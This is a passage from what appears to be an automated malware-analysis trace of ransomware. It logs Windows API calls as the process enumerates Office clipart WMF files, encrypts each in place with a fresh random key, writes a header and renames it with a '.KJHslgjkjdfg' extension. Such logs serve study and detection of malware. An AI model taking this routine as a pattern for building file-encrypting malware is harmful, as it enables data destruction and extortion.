office\\clipart\\pub60cor\\fd02075_.wmf.kjhslgjkjdfg")) returned 1 [0189.248] CloseHandle (hObject=0x130) returned 1 [0189.248] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0189.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.248] GetProcessHeap () returned 0x990000 [0189.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.248] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.248] GetProcessHeap () returned 0x990000 [0189.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.249] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.249] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.249] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.251] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.251] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.251] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe70, lpOverlapped=0x0) returned 1 [0189.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70, dwBufLen=0xe70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70) returned 1 [0189.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.252] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe70, lpOverlapped=0x0) returned 1 [0189.252] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.252] SetEndOfFile (hFile=0x130) returned 1 [0189.253] GetProcessHeap () returned 0x990000 [0189.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.253] GetProcessHeap () returned 0x990000 [0189.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.kjhslgjkjdfg")) returned 1 [0189.254] CloseHandle (hObject=0x130) returned 1 [0189.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0189.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.254] GetProcessHeap () returned 0x990000 [0189.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.255] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.257] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.257] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.257] GetProcessHeap () returned 0x990000 [0189.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.257] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.257] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.257] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.257] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.257] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.258] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x61c, lpOverlapped=0x0) returned 1 [0189.258] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620) returned 1 [0189.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x620, lpOverlapped=0x0) returned 1 [0189.258] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.258] SetEndOfFile (hFile=0x130) returned 1 [0189.261] GetProcessHeap () returned 0x990000 [0189.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.261] GetProcessHeap () returned 0x990000 [0189.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.kjhslgjkjdfg")) returned 1 [0189.262] CloseHandle (hObject=0x130) returned 1 [0189.262] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0189.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.268] GetProcessHeap () returned 0x990000 [0189.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.268] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.268] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.276] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.276] GetProcessHeap () returned 0x990000 [0189.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.276] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.276] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.277] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.277] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1234, lpOverlapped=0x0) returned 1 [0189.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1240, dwBufLen=0x1240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1240) returned 1 [0189.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.278] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1240, lpOverlapped=0x0) returned 1 [0189.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.278] SetEndOfFile (hFile=0x130) returned 1 [0189.281] GetProcessHeap () returned 0x990000 [0189.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.281] GetProcessHeap () returned 0x990000 [0189.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.kjhslgjkjdfg")) returned 1 [0189.283] CloseHandle (hObject=0x130) returned 1 [0189.283] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0189.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.285] GetProcessHeap () returned 0x990000 [0189.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.285] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.285] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.288] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.288] GetProcessHeap () returned 0x990000 [0189.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.288] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.288] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.288] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.289] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf94, lpOverlapped=0x0) returned 1 [0189.289] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfa0) returned 1 [0189.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.289] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfa0, lpOverlapped=0x0) returned 1 [0189.289] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.290] SetEndOfFile (hFile=0x130) returned 1 [0189.292] GetProcessHeap () returned 0x990000 [0189.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.292] GetProcessHeap () returned 0x990000 [0189.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.kjhslgjkjdfg")) returned 1 [0189.293] CloseHandle (hObject=0x130) returned 1 [0189.294] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0189.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.295] GetProcessHeap () returned 0x990000 [0189.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.295] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.295] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.297] 